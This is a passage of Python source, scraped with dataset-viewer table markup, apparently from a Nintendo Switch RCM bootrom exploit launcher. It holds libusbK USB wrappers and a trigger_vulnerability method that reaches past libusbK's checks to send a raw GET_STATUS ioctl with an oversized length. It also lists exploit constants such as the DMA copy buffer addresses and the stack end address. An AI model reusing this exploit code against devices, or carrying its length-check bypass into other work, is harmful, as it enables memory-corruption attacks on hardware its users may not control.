text stringlengths 0 93.6k |
|---|
return None |
# Initialize the driver for use with our device |
self.handle = self.libk.KUSB_HANDLE(None) |
# Passing device_info 'byref' |
ret = self.dev.Init(ctypes.byref(self.handle), ctypes.byref(device_info)) |
if ret == 0: |
print('dev.Init(): Error') |
return None |
return self.dev |
def read(self, length): |
""" Read using libusbK """ |
# Create the buffer to store what we read |
buffer = ctypes.create_string_buffer(length) |
len_transferred = ctypes.c_uint(0) |
# Call libusbK's ReadPipe using our specially-crafted function pointer and the opaque device handle |
ret = self.dev.ReadPipe(self.handle, ctypes.c_ubyte(0x81), ctypes.addressof(buffer), ctypes.c_uint(length), ctypes.byref(len_transferred), None) |
if ret == 0: |
raise ctypes.WinError() |
return buffer.raw |
def write_single_buffer(self, data): |
""" Write using libusbK """ |
# Copy construct to a bytearray so we Know™ what type it is |
buffer = bytearray(data) |
# Convert wrap the data for use with ctypes |
cbuffer = (ctypes.c_ubyte * len(buffer))(*buffer) |
len_transferred = ctypes.c_uint(0) |
# Call libusbK's WritePipe using our specially-crafted function pointer and the opaque device handle |
ret = self.dev.WritePipe(self.handle, ctypes.c_ubyte(0x01), cbuffer, len(data), ctypes.byref(len_transferred), None) |
if ret == 0: |
raise ctypes.WinError() |
def ioctl(self, driver_handle: ctypes.c_void_p, ioctl_code: ctypes.c_ulong, input_bytes: ctypes.c_void_p, input_bytes_count: ctypes.c_size_t, output_bytes: ctypes.c_void_p, output_bytes_count: ctypes.c_size_t): |
""" Wrapper for DeviceIoControl """ |
overlapped = self.libk.OVERLAPPED() |
ctypes.memset(ctypes.addressof(overlapped), 0, ctypes.sizeof(overlapped)) |
ret = ctypes.windll.kernel32.DeviceIoControl(driver_handle, ioctl_code, input_bytes, input_bytes_count, output_bytes, output_bytes_count, None, ctypes.byref(overlapped)) |
# We expect this to error, which matches the others ^_^ |
if ret == False: |
raise ctypes.WinError() |
def trigger_vulnerability(self, length): |
""" |
Go over libusbK's head and get the master handle it's been using internally |
and perform a direct DeviceIoControl call to the kernel to skip the length check |
""" |
# self.handle is KUSB_HANDLE, cast to KUSB_HANDLE_INTERNAL to transparent-ize it |
internal = ctypes.cast(self.handle, ctypes.POINTER(self.libk.KUSB_HANDLE_INTERNAL)) |
# Get the handle libusbK has been secretly using in its ioctl calls this whole time |
master_handle = internal.contents.Device.contents.MasterDeviceHandle |
if master_handle is None or master_handle == self.libk.INVALID_HANDLE_VALUE: |
raise ValueError("Failed to initialize master handle") |
# the raw request struct is pretty annoying, so I'm just going to allocate enough memory and set the few fields I need |
raw_request = ctypes.create_string_buffer(self.RAW_REQUEST_STRUCT_SIZE) |
# set timeout to 1000 ms, timeout offset is 0 (since it's the first member), and it's an unsigned int |
timeout_p = ctypes.cast(raw_request, ctypes.POINTER(ctypes.c_uint)) |
timeout_p.contents = ctypes.c_ulong(1000) # milliseconds |
status_p = ctypes.cast(ctypes.byref(raw_request, 4), ctypes.POINTER(self.libk.status_t)) |
status_p.contents.index = self.GET_STATUS |
status_p.contents.recipient = self.TO_ENDPOINT |
buffer = ctypes.create_string_buffer(length) |
code = self.win_ctrl_code(self.WINDOWS_FILE_DEVICE_UNKNOWN, self.LIBUSBK_FUNCTION_CODE_GET_STATUS, self.WINDOWS_METHOD_BUFFERED, self.WINDOWS_FILE_ANY_ACCESS) |
ret = self.ioctl(master_handle, ctypes.c_ulong(code), raw_request, ctypes.c_size_t(24), buffer, ctypes.c_size_t(length)) |
if ret == False: |
raise ctypes.WinError() |
class RCMHax: |
# Default to the Nintendo Switch RCM VID and PID. |
DEFAULT_VID = 0x0955 |
DEFAULT_PID = 0x7321 |
# Exploit specifics |
COPY_BUFFER_ADDRESSES = [0x40005000, 0x40009000] # The addresses of the DMA buffers we can trigger a copy _from_. |
STACK_END = 0x40010000 # The address just after the end of the device's stack. |
def __init__(self, wait_for_device=False, os_override=None, vid=None, pid=None, override_checks=False): |
""" Set up our RCM hack connection.""" |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.